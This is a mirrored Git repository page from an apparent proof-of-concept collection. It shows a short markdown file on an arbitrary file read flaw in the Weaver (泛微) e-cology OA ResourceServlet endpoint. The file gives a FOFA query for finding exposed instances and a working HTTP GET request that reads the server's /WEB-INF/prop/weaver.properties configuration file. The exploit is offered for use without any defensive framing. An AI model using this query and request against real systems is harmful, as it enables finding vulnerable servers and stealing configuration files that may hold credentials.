crazywhalecc/POC00
1
0
Fork 0
mirror of https://github.com/wooluo/POC00.git synced 2026-03-17 20:44:53 +08:00
Code Issues Packages Projects Releases Wiki Activity
POC00/泛微-OA系统ResourceServlet接口任意文件读取漏洞.md

233 B
Raw Blame History

泛微-OA系统ResourceServlet接口任意文件读取漏洞

fofa

app="泛微-OA(e-cology)"

poc

GET /weaver/org.springframework.web.servlet.ResourceServlet?resource=/WEB-INF/prop/weaver.properties HTTP/1.1